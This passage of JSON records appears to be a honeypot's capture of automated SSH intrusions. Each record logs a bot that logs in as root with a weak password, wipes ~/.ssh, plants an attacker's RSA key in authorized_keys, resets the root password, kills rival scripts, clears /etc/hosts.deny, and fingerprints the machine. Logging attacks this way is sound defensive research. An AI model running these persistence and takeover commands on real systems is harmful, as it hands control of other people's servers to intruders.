average: 0.02, 0.03, 0.02\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:33:32.072019+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:33:32.732535+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:33:32.994365+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:33:33.360331+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:33:33.619238+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:33:34.584438+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:33:34.843103+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:33:36.654884+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:33:36.914083+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:33:39.089193+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe@123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"0c76bfb4-836e-4008-83a9-7ac679dbfa15","name":"crisp-hazel-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":59090,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:31:28.446059+00:00","ended_at":"2026-08-27T12:31:29.412215+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:31:10.956182+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:31:11.254924+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:31:15.215062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:31:15.816754+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:31:16.114087+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1AbSY7TSKfA1\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:31:16.413053+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:31:16.710113+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:31:17.115072+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:31:17.412885+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:31:18.431897+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:31:18.733509+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:31:19.730283+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:31:20.029788+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:31:20.672990+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:31:20.972023+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:31:21.630074+00:00","kind":"output","latency_ms":null,"data":" 12:31:21 up 7 days, 9:21, 0 user, load average: 0.21, 0.24, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:31:21.928851+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:31:22.749944+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:31:23.049709+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:31:23.573520+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:31:23.872892+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:31:24.380168+00:00","kind":"output","latency_ms":null,"data":"top - 12:31:24 up 7 days, 9:21, 0 user, load average: 0.21, 0.24, 0.19\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:31:24.679869+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:31:25.345651+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:31:25.645724+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:31:25.928202+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:31:26.227549+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:31:26.673198+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:31:26.971203+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:31:28.146248+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:31:28.446850+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:31:29.324182+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Passw0rd@2026","method":"password","accepted":true,"tier":"other"}]} {"id":"e5ebfb99-0401-4147-b4b9-c5fff6839c7d","name":"verdant-breezy-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":53220,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:29:36.925712+00:00","ended_at":"2026-08-27T12:29:37.877115+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:29:18.800061+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:29:19.064732+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:29:22.400240+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:29:23.186181+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:29:23.448300+00:00","kind":"input","latency_ms":null,"data":"echo \"root:VhLEsFNEG4bc\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:29:23.717063+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:29:23.980930+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:29:24.706582+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:29:24.971366+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:29:25.979106+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:29:26.248254+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:29:27.531371+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:29:27.803351+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:29:28.536218+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:29:28.802270+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:29:29.082143+00:00","kind":"output","latency_ms":null,"data":" 12:29:29 up 7 days, 9:19, 0 user, load average: 0.27, 0.31, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:29:29.347874+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:29:30.508210+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:29:30.772964+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:29:31.402895+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:29:31.668077+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:29:32.383078+00:00","kind":"output","latency_ms":null,"data":"top - 12:29:32 up 7 days, 9:19, 0 user, load average: 0.27, 0.31, 0.2\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:29:32.648180+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:29:33.053564+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:29:33.319135+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:29:34.019214+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:29:34.283485+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:29:34.536588+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:29:34.801865+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:29:36.660255+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:29:36.926442+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:29:37.800149+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345abc","method":"password","accepted":true,"tier":"other"}]} {"id":"1047406f-7e04-4b83-9acb-2aca205290c8","name":"regal-polar-gecko","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51166,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:27:37.812022+00:00","ended_at":"2026-08-27T12:27:39.366564+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:27:20.408389+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:27:20.672951+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:27:24.515547+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:27:24.785001+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:27:25.051223+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zdj3YVHqbhzk\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:27:25.315680+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:27:25.581459+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:27:26.127017+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:27:26.392389+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:27:27.770557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:27:28.036924+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:27:29.036110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:27:29.302491+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:27:29.690707+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:27:29.955923+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:27:30.571969+00:00","kind":"output","latency_ms":null,"data":" 12:27:30 up 7 days, 9:17, 0 user, load average: 0.08, 0.09, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:27:30.839928+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:27:31.093420+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:27:31.360889+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:27:31.946997+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:27:32.212354+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:27:32.885729+00:00","kind":"output","latency_ms":null,"data":"top - 12:27:32 up 7 days, 9:17, 0 user, load average: 0.08, 0.09, 0.06\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:27:33.152061+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:27:33.863767+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:27:34.130267+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:27:35.023325+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:27:35.295092+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:27:35.991837+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:27:36.261889+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:27:37.547105+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:27:37.812828+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:27:39.290165+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Lai123456","method":"password","accepted":true,"tier":"other"}]} {"id":"e00e9b56-c236-4a32-a457-8a88a1fa0e97","name":"electric-tawny-weasel","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":33410,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":735,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:26:03.861784+00:00","ended_at":"2026-08-27T12:26:05.485026+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:25:37.830803+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:25:38.559066+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:25:43.624166+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:25:43.879370+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:25:44.833072+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zvuVQCPzwCcO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:25:45.566012+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:25:46.298911+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:25:46.562830+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:25:47.298829+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:25:48.629055+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:25:49.362244+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:25:50.507660+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:25:51.235794+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:25:51.650132+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:25:52.382032+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:25:53.054454+00:00","kind":"output","latency_ms":null,"data":" 12:25:53 up 7 days, 9:16, 0 user, load average: 0.29, 0.26, 0.35\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:25:53.795410+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:25:54.534247+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:25:55.262584+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:25:55.676108+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:25:56.424122+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:25:57.015045+00:00","kind":"output","latency_ms":null,"data":"top - 12:25:57 up 7 days, 9:16, 0 user, load average: 0.29, 0.26, 0.35\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:25:57.753103+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:25:58.242433+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:25:59.026133+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:25:59.678020+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:26:00.411127+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:26:00.850522+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:26:01.584572+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:26:03.118423+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:26:03.862999+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:26:05.246349+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Hq123456","method":"password","accepted":true,"tier":"other"}]} 